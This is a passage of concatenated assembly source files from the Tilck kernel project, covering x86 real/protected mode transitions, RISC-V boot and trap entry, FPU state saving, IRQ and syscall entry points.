# because in the gdt16, the code segment has BL_BASE_ADDR as 'base'.
jmp 0x08:(code16_seg - BL_BASE_ADDR)
code16_seg:
# If we set all the segment registers here we would be properly in
# 16-bit protected mode.
mov eax, cr0
and al, 0xfe # Disable protected mode.
mov cr0, eax
.code16
# here CS is still 0x08, time to switch to proper 16-bit segmentation.
mov ebx, (offset realmode - BL_BASE_ADDR)
push BL_BASE_SEG
push bx
retf
realmode:
# here CS is BL_BASE_SEG and we are properly in (un)real mode.
mov ax, 0
mov es, ax
mov fs, ax
mov gs, ax
# Now we just need to set ds, ss to BL_BASE_SEG, using the 16-bit
# segmentation mechanism. This makes everything simpler.
mov ax, BL_BASE_SEG
mov ds, ax
mov ss, ax
mov esp, (offset rm16_stack - BL_BASE_ADDR + 0x3F0)
mov edi, (offset idt16 - BL_BASE_ADDR)
lidt [di]
sti
#################################################################
# Call the requested function
# 1. store in 'ax' the address of the function to call
mov eax, (offset realmode_func_addr)
mov eax, fs:[eax]
sub eax, BL_BASE_ADDR
# 2. save on stack the return address
mov ebx, (offset after_call - BL_BASE_ADDR)
push bx
# 3. push func's addr on stack in order the ending ret to make the "call"
push ax
# 4. now that we're ready to call the function, we can load the registers,
# as specified from the C caller. Note: we couldn't just do a call at the
# end instead: that would require using at least a register for computing
# the address and we don't want that. The C caller should be able to set
# all of the 6 registers: eax, ebx, ecx, edx, esi, edi.
mov eax, (offset realmode_func_eax_ref)
mov eax, fs:[eax]
mov eax, fs:[eax]
mov ebx, (offset realmode_func_ebx_ref)
mov ebx, fs:[ebx]
mov ebx, fs:[ebx]
mov ecx, (offset realmode_func_ecx_ref)
mov ecx, fs:[ecx]
mov ecx, fs:[ecx]
mov edx, (offset realmode_func_edx_ref)
mov edx, fs:[edx]
mov edx, fs:[edx]
mov esi, (offset realmode_func_esi_ref)
mov esi, fs:[esi]
mov esi, fs:[esi]
mov edi, (offset realmode_func_edi_ref)
mov edi, fs:[edi]
mov edi, fs:[edi]
# Call the function pointed at realmode_func_addr
ret
after_call:
# now here we must save back the values of the registers
mov bp, sp
mov esp, (offset rm_ret_eax - BL_BASE_ADDR + 4)
push eax
push ebx
push ecx
push edx
push esi
push edi
sub sp, 2
pushf
mov sp, bp
##################################################################
# now we have to go back to protected mode
cli
# load the 32-bit NULL IDT
mov edi, (offset idt32 - BL_BASE_ADDR)
lidt [di]
# load the a gdt with 32-bit segments
mov ebx, (offset gdtr32 - BL_BASE_ADDR)
lgdt [ebx]
mov eax, cr0
or al, 1 # PE bit
mov cr0, eax
# Use 0x66 (Operand Size Override Prefix) before push and retf to use the
# 32-bit version of those instructions. That is NECESSARY if we want to do
# a 32-bit far jump. Otherwise, the pm32 code has to be copied to a low
# address (< 64 K), in order to the 16-bit far jump to able able to get
# there.
mov eax, (offset pm32)
push 0x08
.byte 0x66
push eax
.byte 0x66
retf
.code32
pm32:
mov ax, 0x10
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ss, ax
xor eax, eax
# Copy rm_ret_* at the address pointed by each realmode_func_*_ref
lea esi, [rm_ret_eax]
lea edi, [realmode_func_eax_ref]
mov ecx, 7
1:
mov eax, [esi]
mov ebx, [edi]
mov [ebx], eax
sub esi, 4
add edi, 4
loop 1b
mov esp, [saved_pm32_esp]
popa
ret
# NOTE: this macro assumes that the higher 16 bits of EAX contain the CS segment
.macro set_ivt num
mov ebx, (offset ex\num - BL_BASE_ADDR)
mov ax, bx
mov [4 * \num], eax
.endm
setup_realmode_ivt:
mov eax, (BL_BASE_SEG << 16)
set_ivt 0
# skip 1
set_ivt 2
set_ivt 3
set_ivt 4
set_ivt 5
set_ivt 6
set_ivt 7
# skip 8
# skip 9
set_ivt 10
set_ivt 11
set_ivt 12
set_ivt 13
set_ivt 14
ret
.code16
.macro emit_rm_ex_handler num
ex\num:
mov ecx, \num
jmp common_rm_exception_handler
.endm
emit_rm_ex_handler 0
# skip 1
emit_rm_ex_handler 2
emit_rm_ex_handler 3
emit_rm_ex_handler 4
emit_rm_ex_handler 5
emit_rm_ex_handler 6
emit_rm_ex_handler 7
# skip 8
# skip 9
emit_rm_ex_handler 10
emit_rm_ex_handler 11
emit_rm_ex_handler 12
emit_rm_ex_handler 13
emit_rm_ex_handler 14
# skip 15
# the rest (0x10 and so on) are part of the BIOS interface
common_rm_exception_handler:
mov eax, 0xBAADCAFE
mov ebx, 0xCAFEBABE
mov edx, [esp] # contains (cs << 16 | ip)
mov esi, [esp+4]
jmp after_call
#################################
# Data
saved_pm32_esp: .long 0
realmode_func_addr: .long 0
realmode_func_eax_ref: .long 0
realmode_func_ebx_ref: .long 0
realmode_func_ecx_ref: .long 0
realmode_func_edx_ref: .long 0
realmode_func_esi_ref: .long 0
realmode_func_edi_ref: .long 0
realmode_func_flags_ref: .long 0
rm_ret_flags: .long 0
rm_ret_edi: .long 0
rm_ret_esi: .long 0
rm_ret_edx: .long 0
rm_ret_ecx: .long 0
rm_ret_ebx: .long 0
rm_ret_eax: .long 0
idt16:
.word 0x03ff # 256 entries, 4b each = 1K
.long 0 # Real Mode IVT @ 0x0000
idt32:
.word 0
.long 0
gdt32:
.byte 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 # sel 0x00.
.byte 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x9A, 0xCF, 0x00 # sel 0x08. 32-bit code
.byte 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x92, 0xCF, 0x00 # sel 0x10. 32-bit data
gdt16:
.byte 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 # sel 0x00.
# sel 0x08. 64k 16-bit code
.word 0xFFFF # segment limit first 0-15 bits
# base (first 24-bit bits)
.byte (BL_BASE_ADDR & 0xff)
.byte ((BL_BASE_ADDR >> 8) & 0xff)
.byte ((BL_BASE_ADDR >> 16) & 0xff)
.byte 0x9A # access byte
# | present | priv (2) | 1 (reserved) | exec | dc | rw | ac
.byte 0x00 # high 4 bits (flags); low 4 bits (limit 4 higher bits)
# granularity | size (16/32) | 0 | 0 | limit HI (4 bits)
.byte 0x00 # base 24-31 bits
# sel 0x10. 64k 16-bit data (unused)
.byte 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x92, 0x00, 0x00
gdtr16:
.word 0x23
.long gdt16
gdtr32:
.word 0x23
.long gdt32
rm16_stack:
.space 1024, 0
.space (4096)-(.-_start), 0
# Tell GNU ld to not worry about us having an executable stack
.section .note.GNU-stack,"",@progbits
|
vvaltchev/tilck | 3,478 | kernel/arch/riscv/start.S | # SPDX-License-Identifier: BSD-2-Clause
#define ASM_FILE 1
#include <tilck_gen_headers/config_global.h>
#include <tilck_gen_headers/config_kernel.h>
#include <tilck_gen_headers/config_boot.h>
#include <tilck/kernel/arch/riscv/asm_defs.h>
#include <multiboot.h>
.section .bss
.global kernel_initial_stack
.comm kernel_initial_stack, ASM_KERNEL_STACK_SZ, 8192
.section .text.start
.global _start
.global linux_image
.global _boot_cpu_hartid
#define RISCV_IMAGE_MAGIC "RISCV\0\0\0"
#define RISCV_IMAGE_MAGIC2 "RSC\x05"
#define RISCV_HEADER_VERSION_MAJOR 0
#define RISCV_HEADER_VERSION_MINOR 2
#define RISCV_HEADER_VERSION \
(RISCV_HEADER_VERSION_MAJOR << 16 | RISCV_HEADER_VERSION_MINOR)
linux_image:
FUNC(_start):
/*
* Image header expected by Linux boot-loaders. The image header data
* structure is described in image.h.
* Do not modify it without modifying the structure and all bootloaders
* that expects this header format!!
*/
/* jump to start kernel */
j _start_kernel
/* reserved */
.word 0
.balign 8
#if __riscv_xlen == 64
/* Image load offset(2MB) from start of RAM */
.dword 0x200000
#else
/* Image load offset(4MB) from start of RAM */
.dword 0x400000
#endif
/*
* Effective size of kernel image. Note that we marked also the ELF headers
* as LOAD segments, and they take 4K (0x1000) bytes, before _start.
*/
.dword _end - _start + 0x1000
.dword 0
.word RISCV_HEADER_VERSION
.word 0
.dword 0
.ascii RISCV_IMAGE_MAGIC
.balign 4
.ascii RISCV_IMAGE_MAGIC2
.word 0
_start_kernel:
csrw CSR_SIE, zero
csrw CSR_SIP, zero
csrw CSR_SSCRATCH, zero
/* Disable FPU */
li t0, SR_FS
csrc sstatus, t0
/* The first hart to get the lottery continues to execute */
lla a6, _boot_lottery
li a7, 1
amoadd.w a6, a7, (a6)
bnez a6, _wait_forerver
/* clear bss */
la a3, __bss_start
la a4, __bss_stop
ble a4, a3, clear_bss_done
clear_bss:
REG_S zero, (a3)
add a3, a3, RISCV_SZPTR
blt a3, a4, clear_bss
clear_bss_done:
/* Setup temporary trap handler */
lla a5, _early_fault
csrw CSR_STVEC, a5
mv s0, a0 /* Save hart ID */
mv s1, a1 /* Save DTB physical address */
la a2, _boot_cpu_hartid
REG_S a0, (a2)
la sp, kernel_initial_stack + ASM_KERNEL_STACK_SZ
call sbi_init
mv a0, s1
call prepare_early_mapping
call parse_fdt
mv s2, a0 /* Save multiboot info structure physical address */
call early_get_cpu_features
mv a0, s1
call init_early_mapping
la a0, page_size_buf
li a1, SATP_MODE
srl a0, a0, 12
or a0, a0, a1
la a1, kernel_va_pa_offset
REG_L a1, (a1)
/* Enable paging */
sfence.vma
csrw CSR_SATP, a0
/* Calculate return address */
la ra, .next_step
add ra, ra, a1
/* Return to .next_step using high virtual address */
ret
.next_step:
/* Enable access to user memory */
li t0, SR_SUM
csrs CSR_SSTATUS, t0
la sp, kernel_initial_stack + ASM_KERNEL_STACK_SZ
mv a1, s2 /* 2st argument: multiboot information structure */
li a0, MULTIBOOT_BOOTLOADER_MAGIC /* 1nd argument: multiboot magic */
call kmain
.align 2
_wait_forerver:
/* We lack SMP support, so park this hart */
wfi
j _wait_forerver
.align 3
_early_fault:
wfi
j _early_fault
END_FUNC(_start)
.section .data
.align 3
_boot_lottery:
RISCV_PTR 0
_boot_cpu_hartid:
.word 0
|
vvaltchev/tilck | 1,989 | kernel/arch/riscv/trap_entry.S | # SPDX-License-Identifier: BSD-2-Clause
#define ASM_FILE 1
#include <tilck_gen_headers/config_global.h>
#include <tilck/kernel/arch/riscv/asm_defs.h>
.section .text
.global asm_trap_entry
.global asm_trap_entry_resume
.global context_switch
.align 3
FUNC(asm_trap_entry):
# load kernel sp from sscratch, if is zero
# then it indicates trap is from kernel
csrrw sp, sscratch, sp
bnez sp, .from_user
.from_kernel:
csrrw sp, sscratch, sp
.from_user:
save_all_regs
la ra, asm_trap_entry_resume
REG_S ra, 37 * RISCV_SZPTR(sp) # save kernel_resume_pc
csrw sscratch, zero # sscratch always equal zero in kernel
# Disable the FPU in kernel space
li t0, SR_FS
csrc sstatus, t0
# save framepointer, then we can trace back
# to the function before the interrupt
addi s0, sp, (10 * RISCV_SZPTR)
mv a0, sp
csrr t0, scause
blt t0, zero, .handle_irq
REG_S t0, 36 * RISCV_SZPTR(sp) # save int_num
li t1, EXC_SYSCALL
beq t1, t0, .handle_syscall
tail fault_entry
.handle_syscall:
tail syscall_entry
.handle_irq:
li t1, 1 << (__riscv_xlen - 1)
not t1, t1
and t0, t0, t1
addi t0, t0, 32
REG_S t0, 36 * RISCV_SZPTR(sp) # save int_num
tail irq_entry
asm_trap_entry_resume:
csrci sstatus, SR_SIE
REG_L t0, 33 * RISCV_SZPTR(sp) # load sstatus
andi t0, t0, SR_SPP
bnez t0, .resume_kernel
.resume_user:
REG_L t1, 38 * RISCV_SZPTR(sp)
REG_S t1, 2 * RISCV_SZPTR(sp) # restore usersp
addi t0, sp, SIZEOF_REGS
csrw sscratch, t0 # save kernel sp in sscratch
.resume_kernel:
resume_all_regs
sret
END_FUNC(asm_trap_entry)
FUNC(context_switch):
mv sp, a0 # Make SP = function's 1st (and only) argument: regs *contex.
REG_L ra, 37 * RISCV_SZPTR(sp)
ret # Now ra's value is `kernel_resume_pc`.
# By default, that value is `asm_trap_entry_resume` or
# 'kernel_yield_resume'
END_FUNC(context_switch)
|
vvaltchev/tilck | 1,601 | kernel/arch/riscv/misc.S | # SPDX-License-Identifier: BSD-2-Clause
#define ASM_FILE 1
#include <tilck_gen_headers/config_global.h>
#include <tilck_gen_headers/config_sched.h>
#include <tilck/kernel/arch/riscv/asm_defs.h>
#include <multiboot.h>
.section .text
.global asm_nop_loop
.global asm_do_bogomips_loop
# Loop used to perform short delays, used by delay_us(). It requires the
# bogoMIPS measurement to be completed in order to be accurate.
FUNC(asm_nop_loop):
.loop:
nop
nop
addi a0, a0, -1
bnez a0, .loop
ret
END_FUNC(asm_nop_loop)
# Function used to measure Tilck's bogoMIPS, a "bogus" way to measure time which
# stands for "millions of iterations per second". See do_bogomips_loop().
#
# How it works
# ----------------
#
# In measure_bogomips_irq_handler() we'll going to measure the number of
# iterations of the inner loop by calculating: __bogo_loops * BOGOMIPS_CONST.
# Why the double loop? Because __bogo_loops needs to be atomic and atomic
# operations have a significant overhead. To make it negligible, we increment
# __bogo_loops by 1 only once every BOGOMIPS_CONST iterations of the inner loop.
#
# The loop terminates when `__bogo_loops` becomes 0 and that happens when after
# MEASURE_BOGOMIPS_TICKS ticks, measure_bogomips_irq_handler() sets it to -1.
#
FUNC(asm_do_bogomips_loop):
nop
nop
nop
.outer_loop:
li a0, BOGOMIPS_CONST
# Loop identical to asm_nop_loop()
.inner_loop:
nop
nop
addi a0, a0, -1
bnez a0, .inner_loop
li a0, 1
la a1, __bogo_loops
amoadd.w a0, a0, (a1)
bgez a0, .outer_loop
ret
END_FUNC(asm_do_bogomips_loop)
|
vvaltchev/tilck | 1,658 | kernel/arch/riscv/kernel_yield.S | # SPDX-License-Identifier: BSD-2-Clause
#define ASM_FILE 1
#include <tilck_gen_headers/config_global.h>
#include <tilck_gen_headers/config_kernel.h>
#include <tilck_gen_headers/config_debug.h>
#include <tilck/kernel/arch/riscv/asm_defs.h>
#include <multiboot.h>
.section .text
.global asm_save_regs_and_schedule
.global panic_save_current_state
.global switch_to_initial_kernel_stack
# Saves the current (kernel) state as if an interrupt occurred while running
# in kernel mode.
FUNC(asm_save_regs_and_schedule):
save_fp_ra
save_callee_regs
la t0, .kernel_yield_resume
REG_S t0, 37 * RISCV_SZPTR(sp) # save kernel_resume_pc
mv a0, sp
li a1, 0
call save_current_task_state
#if DEBUG_CHECKS && KRN_TRACK_NESTED_INTERR
call check_not_in_irq_handler
#endif
call do_schedule
# do_schedule() just returned: restore SP and just return
addi sp, sp, SIZEOF_REGS
li a0, 0 # No context-switch return value
restore_fp_ra
ret
.kernel_yield_resume:
resume_callee_regs
li a0, 1 # Context-switch return value
restore_fp_ra
ret
END_FUNC(asm_save_regs_and_schedule)
FUNC(panic_save_current_state):
save_fp_ra
save_all_regs
mv a0, sp
call panic_save_current_task_state
addi sp, sp, SIZEOF_REGS
restore_fp_ra
ret
END_FUNC(panic_save_current_state)
FUNC(switch_to_initial_kernel_stack):
# save the fp-sp offset
mv t0, s0
sub t0, s0, sp
# change the stack pointer and the frame pointer
la s0, kernel_initial_stack + ASM_KERNEL_STACK_SZ
mv sp, s0
# restore the fp-sp difference
sub sp, sp, t0
ret
END_FUNC(switch_to_initial_kernel_stack)
|
vvaltchev/tilck | 2,048 | kernel/arch/riscv/fpu.S | # SPDX-License-Identifier: BSD-2-Clause
#define ASM_FILE 1
#include <tilck_gen_headers/config_global.h>
#include <tilck_gen_headers/config_kernel.h>
#include <tilck_gen_headers/config_debug.h>
#include <tilck/kernel/arch/riscv/asm_defs.h>
.section .text
.global asm_save_fpu
.global asm_restore_fpu
FUNC(asm_save_fpu):
li t1, SR_FS
csrs sstatus, t1
frcsr t0
fsd f0, 0 * 8(a0)
fsd f1, 1 * 8(a0)
fsd f2, 2 * 8(a0)
fsd f3, 3 * 8(a0)
fsd f4, 4 * 8(a0)
fsd f5, 5 * 8(a0)
fsd f6, 6 * 8(a0)
fsd f7, 7 * 8(a0)
fsd f8, 8 * 8(a0)
fsd f9, 9 * 8(a0)
fsd f10, 10 * 8(a0)
fsd f11, 11 * 8(a0)
fsd f12, 12 * 8(a0)
fsd f13, 13 * 8(a0)
fsd f14, 14 * 8(a0)
fsd f15, 15 * 8(a0)
fsd f16, 16 * 8(a0)
fsd f17, 17 * 8(a0)
fsd f18, 18 * 8(a0)
fsd f19, 19 * 8(a0)
fsd f20, 20 * 8(a0)
fsd f21, 21 * 8(a0)
fsd f22, 22 * 8(a0)
fsd f23, 23 * 8(a0)
fsd f24, 24 * 8(a0)
fsd f25, 25 * 8(a0)
fsd f26, 26 * 8(a0)
fsd f27, 27 * 8(a0)
fsd f28, 28 * 8(a0)
fsd f29, 29 * 8(a0)
fsd f30, 30 * 8(a0)
fsd f31, 31 * 8(a0)
sw t0, 32 * 8(a0)
csrc sstatus, t1
ret
END_FUNC(asm_save_fpu)
FUNC(asm_restore_fpu):
li t1, SR_FS
lw t0, 32 * 8(a0)
csrs sstatus, t1
fld f0, 0 * 8(a0)
fld f1, 1 * 8(a0)
fld f2, 2 * 8(a0)
fld f3, 3 * 8(a0)
fld f4, 4 * 8(a0)
fld f5, 5 * 8(a0)
fld f6, 6 * 8(a0)
fld f7, 7 * 8(a0)
fld f8, 8 * 8(a0)
fld f9, 9 * 8(a0)
fld f10, 10 * 8(a0)
fld f11, 11 * 8(a0)
fld f12, 12 * 8(a0)
fld f13, 13 * 8(a0)
fld f14, 14 * 8(a0)
fld f15, 15 * 8(a0)
fld f16, 16 * 8(a0)
fld f17, 17 * 8(a0)
fld f18, 18 * 8(a0)
fld f19, 19 * 8(a0)
fld f20, 20 * 8(a0)
fld f21, 21 * 8(a0)
fld f22, 22 * 8(a0)
fld f23, 23 * 8(a0)
fld f24, 24 * 8(a0)
fld f25, 25 * 8(a0)
fld f26, 26 * 8(a0)
fld f27, 27 * 8(a0)
fld f28, 28 * 8(a0)
fld f29, 29 * 8(a0)
fld f30, 30 * 8(a0)
fld f31, 31 * 8(a0)
fscsr t0
csrc sstatus, t1
ret
END_FUNC(asm_restore_fpu)
|
vvaltchev/tilck | 2,896 | kernel/arch/riscv/fault_resumable.S | # SPDX-License-Identifier: BSD-2-Clause
#define ASM_FILE 1
#include <tilck_gen_headers/config_global.h>
#include <tilck/kernel/arch/riscv/asm_defs.h>
.section .text
.global fault_resumable_call
FUNC(fault_resumable_call):
save_fp_ra
addi sp, sp, -4 * RISCV_SZPTR
la t2, __disable_preempt # push __disable_preempt
lw t1, (t2)
sw t1, 0 * RISCV_SZPTR(sp)
la t0, __current
REG_L t0, (t0)
REG_L t1, TI_F_RESUME_RS_OFF(t0)
REG_S t1, 2 * RISCV_SZPTR(sp) # push current->fault_resume_regs
lw t1, TI_FAULTS_MASK_OFF(t0)
sw t1, 1 * RISCV_SZPTR(sp) # push current->faults_resume_mask
save_callee_regs
la t2, .asm_fault_resumable_call_resume
REG_S t2, 37 * RISCV_SZPTR(sp) # save kernel_resume_pc
la t0, __current
REG_L t0, (t0)
REG_S sp, TI_F_RESUME_RS_OFF(t0) # save to current->fault_resume_regs
sw a0, TI_FAULTS_MASK_OFF(t0) # arg1: faults_mask
mv s1, a1 # arg2: func
mv s2, a2 # arg3: nargs
// Place the first five parameters in A0 to A4
addi s2, s2, -5
mv a0, a3
mv a1, a4
mv a2, a5
mv a3, a6
mv a4, a7
// Take the next three parameters from the stack
// and place them in A5 to A7
mv s3, s0
mv s5, sp # backup sp
blez s2, 2f
addi s2, s2, -1
REG_L a5, (s3)
blez s2, 2f
addi s2, s2, -1
addi s3, s3, RISCV_SZPTR
REG_L a6, (s3)
blez s2, 2f
addi s2, s2, -1
addi s3, s3, RISCV_SZPTR
REG_L a7, (s3)
// Take the remaining parameters from the stack and
// put them on the stack
blez s2, 2f
slli s4, s2, RISCV_LOGSZPTR
mv s5, sp # backup sp
sub sp, sp, s4
andi sp, sp, ~(0xf)
mv s4, sp
1:
addi s2, s2, -1
addi s3, s3, RISCV_SZPTR
REG_L t0, (s3)
REG_S t0, (s4)
addi s4, s4, RISCV_SZPTR
bgtz s2, 1b
2:
jalr s1
mv a0, zero # return value: set to 0 (= no faults)
mv sp, s5
resume_callee_regs
la t0, __current
REG_L t0, (t0)
lw t1, 1 * RISCV_SZPTR(sp)
sw t1, TI_FAULTS_MASK_OFF(t0) # pop current->faults_resume_mask
REG_L t1, 2 * RISCV_SZPTR(sp)
REG_S t1, TI_F_RESUME_RS_OFF(t0) # pop current->fault_resume_regs
addi sp, sp, 4 * RISCV_SZPTR
restore_fp_ra
ret
.asm_fault_resumable_call_resume:
REG_L a0, 10 * RISCV_SZPTR(sp) # extracted a0 value which
# set in handle_resumable_fault()
resume_callee_regs
la t0, __current
REG_L t0, (t0)
lw t1, 1 * RISCV_SZPTR(sp)
sw t1, TI_FAULTS_MASK_OFF(t0)
REG_L t1, 2 * RISCV_SZPTR(sp)
REG_S t1, TI_F_RESUME_RS_OFF(t0)
la t0, __disable_preempt # pop __disable_preempt
lw t1, 0 * RISCV_SZPTR(sp)
sw t1, (t0)
addi sp, sp, 4 * RISCV_SZPTR
restore_fp_ra
ret
END_FUNC(fault_resumable_call)
|
vvaltchev/tilck | 1,095 | kernel/arch/i386/irq_handlers.S | # SPDX-License-Identifier: BSD-2-Clause
.intel_syntax noprefix
#define ASM_FILE 1
#include <tilck_gen_headers/config_global.h>
#include <tilck/kernel/arch/i386/asm_defs.h>
.section .text
.global irq_entry_points
.global asm_irq_entry
# IRQs common entry point
FUNC(asm_irq_entry):
kernel_entry_common
push_custom_flags (0)
push offset .irq_resume
mov eax, esp
cld # Set DF = 0, as C compilers by default assume that.
push eax
call irq_entry
add esp, 8 # Discard the previousy-pushed 'eax' and .irq_resume
.irq_resume:
pop_custom_flags
kernel_exit_common
END_FUNC(asm_irq_entry)
.macro create_irq_entry_point number
FUNC(irq\number):
push 0
push 32+\number
jmp asm_irq_entry
END_FUNC(irq\number)
.endm
.altmacro
.set i, 0
.rept 16
create_irq_entry_point %i
.set i, i+1
.endr
.macro insert_irq_addr num
.long irq\num
.endm
.align 4
irq_entry_points:
.set i, 0
.rept 16
insert_irq_addr %i
.set i, i+1
.endr
# Tell GNU ld to not worry about us having an executable stack
.section .note.GNU-stack,"",@progbits
|
vvaltchev/tilck | 4,115 | kernel/arch/i386/start.S | # SPDX-License-Identifier: BSD-2-Clause
.intel_syntax noprefix
#define ASM_FILE 1
#include <tilck_gen_headers/config_global.h>
#include <tilck_gen_headers/config_kernel.h>
#include <tilck_gen_headers/config_boot.h>
#include <tilck/kernel/arch/i386/asm_defs.h>
#include <multiboot.h>
.code32
.section bss
.global kernel_initial_stack
.comm kernel_initial_stack, ASM_KERNEL_STACK_SZ, 4096
.section .text.start
.global _start
#define MULTIBOOT_FLAGS (MULTIBOOT_PAGE_ALIGN | \
MULTIBOOT_MEMORY_INFO | \
MULTIBOOT_VIDEO_MODE)
#define PAGE_DIR_PADDR ((offset page_size_buf) - KERNEL_BASE_VA)
#define MAKE_BIG_PAGE(paddr) \
(1 /* present */ | 2 /*RW*/ | (1 << 7) /* bigpage */ | (paddr))
FUNC(_start):
jmp multiboot_entry
/* Multiboot header */
.align 4
.long MULTIBOOT_HEADER_MAGIC
.long MULTIBOOT_FLAGS
.long -(MULTIBOOT_HEADER_MAGIC+MULTIBOOT_FLAGS) /* checksum */
.long 0
.long 0
.long 0
.long 0
.long 0
.long 0 /* mode_type: graphic */
.long PREFERRED_GFX_MODE_W
.long PREFERRED_GFX_MODE_H
.long 32 /* color depth */
/* End multiboot header */
multiboot_entry:
/* Clear the direction flag */
cld
/*
* Before jump to kernel, we have to setup a basic paging in order to map
* the first 4-MB both at 0 and at +BASE_VA. Using 4-MB pages.
* NOTE: the registers EAX and EBX cannot be used since they contain
* multiboot information!
*/
mov edi, PAGE_DIR_PADDR
xor ecx, ecx
# Zero our page directory
1:
mov [edi], ecx
add edi, 4
cmp edi, PAGE_DIR_PADDR + 4096
jne 1b
# Set our flags (note the absence of a paddr since it is 0)
# mov ecx, 1 /* present */ | 2 /* RW */ | (1 << 7) /* 4-MB page */
mov edx, PAGE_DIR_PADDR
# Identity map the first 8 MB: that's necessary in order to avoid crashing
# due to a page fault once we execute: mov cr3, edx, below.
#
# TODO: replace the 8 * MB fixed mapping with a well-defined constant
# and use the GAS macros to implement a loop to map an abitrary-sized
# mapping (aligned at BIG_PAGE_SIZE, of course).
#
mov dword ptr [edx + 0], MAKE_BIG_PAGE(0)
mov dword ptr [edx + 4], MAKE_BIG_PAGE(4 * MB)
# Map the first 8 MB also at BASE_VA
mov dword ptr [edx + (BASE_VA >> 20) + 0], MAKE_BIG_PAGE(0)
mov dword ptr [edx + (BASE_VA >> 20) + 4], MAKE_BIG_PAGE(4 * MB)
#if !KRN32_LIN_VADDR
# Map 8 MB starting at KERNEL_PADDR to KERNEL_VADDR
mov dword ptr [edx + (KERNEL_BASE_VA >> 20) + 0], MAKE_BIG_PAGE(0)
mov dword ptr [edx + (KERNEL_BASE_VA >> 20) + 4], MAKE_BIG_PAGE(4 * MB)
#endif
# Make sure PAGING is disabled
mov ecx, cr0
and ecx, ~CR0_PG
mov cr0, ecx
mov ecx, cr4
or ecx, CR4_PSE # enable PSE (Page Size Extension)
or ecx, CR4_PGE # enable PGE (Page Global Enabled)
and ecx, ~CR4_PAE # disable PAE (Physical Address Extension)
mov cr4, ecx
# Set the CR3 register
mov cr3, edx
mov ecx, cr0
or ecx, CR0_PG # paging
or ecx, CR0_WP # write protect for supervisor
mov cr0, ecx # apply the changes!
mov ecx, offset .next_step
jmp ecx # Jump to next instruction using the high virtual address.
# This is necessary since here the EIP is still a physical
# address, while in the kernel the physical identity mapping
# is removed. We need to continue using high (+3 GB)
# virtual addresses. The trick works because this file is
# part of the kernel ELF binary where the ORG is set to
# 0xC0100000 (KERNEL_VADDR).
.next_step:
mov esp, offset kernel_initial_stack + ASM_KERNEL_STACK_SZ - 16
push ebx # 2st argument: multiboot information structure
push eax # 1nd argument: multiboot magic
call kmain # Now call kernel's kmain() which uses
# KERNEL_VADDR as ORG
END_FUNC(_start)
# Tell GNU ld to not worry about us having an executable stack
.section .note.GNU-stack,"",@progbits
|
vvaltchev/tilck | 2,953 | kernel/arch/i386/syscall_entry.S | # SPDX-License-Identifier: BSD-2-Clause
.intel_syntax noprefix
#define ASM_FILE 1
#include <tilck_gen_headers/config_global.h>
#include <tilck_gen_headers/config_kernel.h>
#include <tilck_gen_headers/config_mm.h>
#include <tilck/kernel/arch/i386/asm_defs.h>
.code32
.section .text
.global syscall_int80_entry
.global sysenter_entry
.global context_switch
.global soft_interrupt_resume
FUNC(sysenter_entry):
/*
* The following handling of sysenter expects the user code to call sysenter
* this way:
*
* 1. Set eax = syscall number
* 2. Set ebx, ecx, etc. the parameters like for int 0x80
* 3. push return_eip
* 4. push ecx # save ecx because the kernel will change it
* 5. push edx # save edx because the kenrel will change it
* 6. push ebp # save ebp because we'll going to use it to store ESP
* 7. mov ebp, esp
* 8. sysenter
*
* Note: in Linux sysenter is used by the libc through VDSO, when it is
* available. Tilck does not have a feature like VDSO therefore, applications
* have to explicitly use this convention in order to sysenter to work.
*/
push 0xcafecafe # SS: unused for sysenter context regs
push 0xcafecafe # ESP: unused for sysenter context regs
pushf
push 0xcafecafe # CS: unused for sysenter context regs
push 0xcafecafe # EIP: unused for sysenter context regs
push 0 # unused "err_code"
push 0x80
kernel_entry_common
push_custom_flags (REGS_FL_SYSENTER)
push offset .sysenter_resume
mov eax, esp
cld # set DF = 0, as C compilers by default assume that.
push eax
call syscall_entry
add esp, 8 # skip the previousy-pushed 'eax' and kernel_resume_eip
.sysenter_resume:
pop_custom_flags
resume_base_regs
add esp, 16 # skip err_code and int_num, eip, cs
popf
add esp, 8 # skip esp, SS
mov ecx, ebp # ecx = user esp (which is saved in ebp)
mov edx, [sysexit_user_code_user_vaddr]
sti
sysexit
END_FUNC(sysenter_entry)
FUNC(syscall_int80_entry):
push 0
push 0x80
kernel_entry_common
push_custom_flags (0)
push offset soft_interrupt_resume
mov eax, esp
cld # Set DF = 0, as C compilers by default assume that.
push eax
call syscall_entry
add esp, 8 # Discard the previousy-pushed 'eax' and kernel_resume_eip
soft_interrupt_resume:
pop_custom_flags
kernel_exit_common
END_FUNC(syscall_int80_entry)
FUNC(context_switch):
add esp, 4 # Discard the return-addr.
pop esp # Make ESP = function's 1st (and only) argument: regs *contex.
ret # Now at [esp] now there's the value of `kernel_resume_eip`.
# By default, that value is `soft_interrupt_resume` but changes
# in special occasions (e.g. sysenter/sysexit).
END_FUNC(context_switch)
# Tell GNU ld to not worry about us having an executable stack
.section .note.GNU-stack,"",@progbits
|
vvaltchev/tilck | 3,269 | kernel/arch/i386/misc.S | # SPDX-License-Identifier: BSD-2-Clause
.intel_syntax noprefix
#define ASM_FILE 1
#include <tilck_gen_headers/config_global.h>
#include <tilck_gen_headers/config_sched.h>
#include <tilck/kernel/arch/i386/asm_defs.h>
#include <multiboot.h>
.code32
.section .text
.global asm_nop_loop
.global asm_do_bogomips_loop
.global asm_enable_sse
.global asm_enable_osxsave
.global asm_enable_avx
.global __asm_fpu_cpy_single_256_nt
.global __asm_fpu_cpy_single_256_nt_read
# Loop used to perform short delays, used by delay_us(). It requires the
# bogoMIPS measurement to be completed in order to be accurate.
FUNC(asm_nop_loop):
.loop:
nop
sub ecx, 1
jne .loop
ret
END_FUNC(asm_nop_loop)
# Function used to measure Tilck's bogoMIPS, a "bogus" way to measure time which
# stands for "millions of iterations per second". See do_bogomips_loop().
#
# How it works
# ----------------
#
# In measure_bogomips_irq_handler() we'll going to measure the number of
# iterations of the inner loop by calculating: __bogo_loops * BOGOMIPS_CONST.
# Why the double loop? Because __bogo_loops needs to be atomic and atomic
# operations have a significant overhead. To make it negligible, we increment
# __bogo_loops by 1 only once every BOGOMIPS_CONST iterations of the inner loop.
#
